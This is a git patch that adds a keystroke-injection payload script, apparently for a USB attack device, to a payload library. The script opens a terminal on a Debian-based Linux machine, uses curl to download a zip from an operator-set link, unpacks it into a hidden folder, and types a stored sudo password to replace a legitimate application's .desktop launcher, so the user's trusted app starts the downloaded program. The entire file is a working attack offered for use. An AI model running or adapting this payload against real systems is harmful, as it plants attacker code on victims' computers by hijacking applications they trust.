From 55b84c6ee9b6ddf962e29d7ca8e99528886e26aa Mon Sep 17 00:00:00 2001 From: Aleff Date: Mon, 12 Jun 2023 11:39:22 +0200 Subject: [PATCH] Edit The Default Real App With An Arbitrary --- .../payload.txt | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/payload.txt diff --git a/payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/payload.txt b/payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/payload.txt new file mode 100644 index 0000000..7515c07 --- /dev/null +++ b/payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/payload.txt @@ -0,0 +1,62 @@ +REM ################################################################ +REM # | +REM # Title : Edit The Default Real App With An Arbitrary | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execution | +REM # Target : GNU/Linux (Debian based tested) | +REM # | +REM ################################################################ + + +REM Requirements: +REM - sudo permissions +REM - Internet connection +REM - Executable app +REM - '.desktop' file + + +REM Note: +REM - The Depends* time depends by the app size, the connection fast and the computer power, you should test it + + +REM Set the link from wich will be downloaded the zip archive +DEFINE ARBITRARY_APP_LINK example + +REM You must set the desktop file path present in the zip file, if i.e. you have the app name Signal and the desktop file path is Signal/files/signal you should put the path Signal/files/signal +DEFINE PATH_TO_DESKTOP_FILE example/path + +REM You must know the original desktop name file, if you don't know it you can rich this information download the app on you system and going to /usr/share/applications/ searching this one app, i.e. the desktop file name of Signal application is signal-desktop.desktop, so in this case you should put signal-desktop.desktop +DEFINE ORIGINAL_DESKTOP_FILE_NAME example + +REM sudo permissions needed +DEFINE SUDO example + + +REM Open a shell +DELAY 2000 +CTRL-ALT t +DELAY 1000 + +STRING curl -o ./arbitrary.zip " +STRING ARBITRARY_APP_LINK +STRINGLN " +REM Depends* +DELAY 5000 + +STRINGLN unzip ./arbitrary.zip -d ./.arbitrary +REM Depends* +DELAY 2000 +STRINGLN rm ./arbitrary.zip +DELAY 1000 + +STRING sudo mv ./.arbitrary/ +STRING PATH_TO_DESKTOP_FILE +STRING /usr/share/applications/ +STRING ORIGINAL_DESKTOP_FILE_NAME +ENTER +DELAY 1000 +STRING SUDO +ENTER +DELAY 4000 +ALT f4